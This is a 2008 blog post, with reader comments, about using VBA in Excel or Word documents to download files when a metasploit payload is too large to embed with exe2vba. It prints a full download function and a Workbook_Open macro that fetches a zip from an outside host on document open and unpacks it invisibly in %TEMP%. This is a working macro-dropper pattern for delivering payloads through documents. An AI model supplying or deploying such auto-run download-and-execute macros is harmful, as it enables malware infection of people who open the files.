Sunday, November 16, 2008

VBA Function to Download Files

So, what happens if the payload you want to run is too large to directly paste into an Excel or Word document with metasploit's exe2vba? Why don't you just download it from the internet?

Unfortunately, MS didn't decide to give us a copy of wget, so we have to write it ourselves. This function uses the XMLHTTP object to download binary files and write them to disk. I don't remember where I found this code, but just for full disclosure, I didn't write it:

Function Download_File(ByVal vWebFile As String, ByVal vLocalFile As String) As Boolean
Dim oXMLHTTP As Object, i As Long, vFF As Long, oResp() As Byte

'You can also set a ref. to Microsoft XML, and Dim oXMLHTTP as MSXML2.XMLHTTP
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", vWebFile, False 'Open socket to get the website
oXMLHTTP.Send 'send request

'Wait for request to finish
Do While oXMLHTTP.readyState <> 4
DoEvents
Loop

oResp = oXMLHTTP.responseBody 'Returns the results as a byte array

'Create local file and save results to it
vFF = FreeFile
If Dir(vLocalFile) <> "" Then Kill vLocalFile
Open vLocalFile For Binary As #vFF
Put #vFF, , oResp
Close #vFF

'Clear memory
Set oXMLHTTP = Nothing
End Function


Here's the call that will download a copy of the Tiny Web Server to the %TEMP% directory and use the local installation of Winzip to install it:

Sub Workbook_Open()
'Download tiny web server to the %TEMP% directory, use local copy of winzip to unzip
'Obviously in a real world application you'd want to bring your own unzipper
Download_File "http://www.ritlabs.com/download/tinyweb/tinyweb.zip", Environ("TEMP") & "\tinyweb.zip"
Run_Program "winzip", "-e -o %TEMP%\tinyweb.zip %TEMP%", INVISIBLE, WAIT
End Sub

6 comments:

wzhang85 said...

Thank you for codes.
It works fine. I replaced my wget version with it. It would be better if it support http proxy.

Sai said...

It works fine. Very useful as it was what I was looking for downloading a group of files from a directory via internet.

cheynelawson said...

There is a lot of love here right about now... thanks a LOT!

Anonymous said...

You can also use WININET to download files in VBA:
http://www.lazerwire.com/2011/11/excel-vba-download-files-from-internet.html

Anonymous said...

Great, it worked perfectly! Thank you very much for the code!

jonnymilano said...

Worked perfectly, thank you so much!